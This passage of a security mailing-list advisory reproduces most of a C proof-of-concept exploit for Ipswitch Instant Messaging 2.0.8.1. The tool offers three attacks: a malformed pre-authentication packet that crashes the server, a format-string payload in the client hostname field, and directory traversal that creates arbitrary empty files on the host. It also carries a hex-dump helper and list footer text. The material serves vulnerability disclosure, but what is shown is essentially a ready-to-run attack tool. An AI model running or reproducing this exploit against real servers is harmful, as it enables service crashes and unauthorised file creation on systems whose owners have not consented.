WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Ipswitch Instant Messaging <= 2.0.8.1 multiple vulnerabilities
"VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = pre-auth NULL pointer crash in decryption function\n"
" 2 = format string in logging\n"
" 3 = arbitrary empty files creation\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if((attack < 1) || (attack > 3)) {
printf("\nError: wrong attack number (%s)\n", argv[1]);
exit(1);
}
host = argv[2];
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(attack != 1) {
printf("- insert your username (only it without @host): ");
fgetz(username, sizeof(username), stdin);
userhost = malloc(strlen(username) + 1 + strlen(host) + 1);
sprintf(userhost, "%s@%s", username, host);
printf("- insert your password: ");
fgetz(password, sizeof(password), stdin);
strcpy(myhost, "127.0.0.1"); // the server trusts the host:port
told by the user!
recipient[0] = 0;
if(attack == 2) {
strcpy(myhost, "format_string_%s%n%n%n%s%s%s%s%s%n%n%n");
} else if(attack == 3) {
printf(
"- insert the name of the empty file you want to create
remotely\n"
" (for example ..\\..\\..\\windows\\hello.txt): ");
fgetz(recipient, sizeof(recipient) - 1, stdin); // -1 is
needed here for ':'
printf("- added the ':' char for arbitrary file creation\n");
strcat(recipient, ":");
}
}
sd = conna(&peer);
// the IpSwitch IM one is the most ugly protocol I have ever seen,
everything is padded to 8 bytes for the 3DES encryption!
// and I'm so mad to have written this PoC which emulates it 8-)
if(attack == 1) {
p = buff;
p += putxx(p, 7, 32); // type, not important
p += putxx(p, 0, 32);
p += putxx(p, 1, 32); // must be != 0
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
printf("- send malformed packet\n");
send(sd, buff, p - buff, 0);
for(;;) {
if(timeout(sd, 5) < 0) break;
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
}
goto quit;
}
des3_set3key_enc(&cli, IPIM_DESKEY);
des3_set3key_dec(&srv, IPIM_DESKEY);
p = buff;
p += putxx(p, 7, 32); // type
p += putxx(p, 1, 32); // encryption type?
send(sd, buff, p - buff, 0);
p = buff;
padxx(1, 32); // type
padxx(11, 32); // header size
padxx(0, 32); // data size
padxx(0, 32); // data size - 4
p += putsn(p, userhost); // username@host
p += putsn(p, password); // password
p += putxx(p, 0, 32); // ???
p += putsn(p, myhost); // client hostname
p += putxx(p, myport, 32); // client port
putxx(buff + 16, p - (buff + 28), 32);
putxx(buff + 24, p - (buff + 32), 32);
printf("- send login packet\n");
p += padda(p, p - buff);
desuca(&cli, buff, p - buff);
send(sd, buff, p - buff, 0);
if(lame_im_recv(sd, &srv, buff) < 0) goto quit;
getxx(buff, &myid, 32);
if(myid) goto quit; // error message
getxx(buff + 8, &myid, 32);
printf("- your ID is %d\n", myid);
if(attack == 2) {
printf("\n"
"- now you have two choices:\n"
" - press RETURN, take the IM client, login with a different
account (so don't\n"
" use %s), add %s to your Personal Contact and send a
messagge to him\n"
" - type the name of another user online and this tool will
send a \"%s\"\n"
" message to him so when he will reply will exploit the
vulnerability too\n"
"- insert the name of the user to who you want to send the
message or press\n"
" RETURN to quit: ", username, username, message);
fgetz(recipient, sizeof(recipient), stdin);
if(!recipient[0]) goto quit;
}
close(sd); // by default IP IM doesn't use the persistent connections
sleep(ONESEC);
sd = conna(&peer);
p = buff;
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
send(sd, buff, p - buff, 0);
p = buff;
padxx(3, 32);
padxx(myid, 32);
memset(p, 0, 56);
p += 56;
for(i = 2; i >= 1; i--) {
padxx(1, 32);
p += putsp(p, "_displayname");
p += putsp(p, username);
padxx(-1, 32);
padxx(-1, 32);
padxx(0, 32);
p += putsp(p, "Online");
padxx(0, 32);
p += putsp(p, username);
p += putsp(p, host);
padxx(-1, 32);
padxx(myport, 16);
padxx(port, 16);
padxx(i, 32);
}
p += putsp(p, "_displayname");
p += putsp(p, recipient);
padxx(10000, 32);
padxx(10008, 32);
padxx(1, 32);
p += putsp(p, "Online");
padxx(0, 32);
p += putsp(p, recipient);
p += putsp(p, host);
padxx(-1, 32);
padxx(myport, 16);
padxx(port, 16);
padxx(1, 32);
padxx(1, 32);
padxx(0, 32);
p += putsp(p, message);
printf("- send message packet\n");
p += padda(p, p - buff);
desuca(&cli, buff, p - buff);
send(sd, buff, p - buff, 0);
if(lame_im_recv(sd, &srv, buff) < 0) goto quit;
quit:
printf("- finished\n");
close(sd);
free(buff);
return(0);
}
int conna(struct sockaddr_in *peer) {
int sd;
printf("- connect...");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
printf("ok\n");
return(sd);
}
int lame_im_recv(int sd, des3_context *ctx, u8 *buff) {
int len,
t;
printf("- receive and visualize incoming data:\n");
if(tcp_recv(sd, buff, 8) != 8) return(-1); // version
for(len = 0; len < BUFFSZ; len += t) {
if(timeout(sd, 5) < 0) break;
t = recv(sd, buff + len, BUFFSZ - len, 0);
if(t <= 0) break;
}
desuca(ctx, buff, len);
show_dump(buff, len, stdout);
return(0);
}
int fgetz(u8 *data, int size, FILE *fd) {
u8 *p;
fgets(data, size, fd);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
return(p - data);
}
void desuca(des3_context *ctx, u8 *data, int len) {
for(len >>= 3; len; len--) {
des3_crypt_ecb(ctx, data, data);
data += 8;
}
}
int tcp_recv(int sd, u8 *buff, int len) {
int t,
ret;
for(ret = 0; ret < len; ret += t) {
if(timeout(sd, 5) < 0) break;
t = recv(sd, buff + ret, len - ret, 0);
if(t <= 0) break;
}
return(ret);
}
int padda(u8 *data, int pos) {
pos = ((pos + 7) & (~7)) - pos;
if(data) memset(data, 0, pos);
return(pos);
}
int putsn(u8 *data, u8 *str) {
int len;
len = strlen(str) + 1;
putxx(data, len, 32);
memcpy(data + 4, str, len);
return(4 + len);
}
int putsp(u8 *data, u8 *str) { // as above but with padded stuff
int len;
u8 *p;
len = strlen(str) + 1;
p = data;
p += putxx(p, len, 32);
p += padda(p, p - data);
memcpy(p, str, len);
p += len;
p += padda(p, p - data);
return(p - data);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
show_dump.h
/*
Show_dump 0.1.1a
Copyright 2004,2005,2006 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA
http://www.gnu.org/licenses/gpl.txt
This function, optimized for performace, shows the hex dump of a buffer
and
places it in a stream
Usage:
show_dump(buffer, buffer_length, stdout);
show_dump(buffer, buffer_length, fd);
*/
#include <string.h>
void show_dump(unsigned char *data, unsigned int len, FILE *stream) {
const static char hex[] = "0123456789abcdef";
static unsigned char buff[67]; /* HEX CHAR\n */
unsigned char chr,
*bytes,
*p,
*limit,
*glimit = data + len;
memset(buff + 2, ' ', 48);
while(data < glimit) {
limit = data + 16;
if(limit > glimit) {
limit = glimit;
memset(buff, ' ', 48);
}
p = buff;
bytes = p + 50;
while(data < limit) {
chr = *data;
*p++ = hex[chr >> 4];
*p++ = hex[chr & 15];
p++;
*bytes++ = ((chr < ' ') || (chr >= 0x7f)) ? '.' : chr;
data++;
}
*bytes++ = '\n';
fwrite(buff, bytes - buff, 1, stream);
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/ipsimene-adv.txt>
http://aluigi.altervista.org/adv/ipsimene-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Adobe Reader Security Provider Unsafe Libary Path Vulnerability
- Next by Date: [NT] Adobe Flash Media Server 2 Memory Corruption Vulnerability
- Previous by thread: [NT] Adobe Reader Security Provider Unsafe Libary Path Vulnerability
- Next by thread: [NT] Adobe Flash Media Server 2 Memory Corruption Vulnerability
- Index(es):
Relevant Pages
|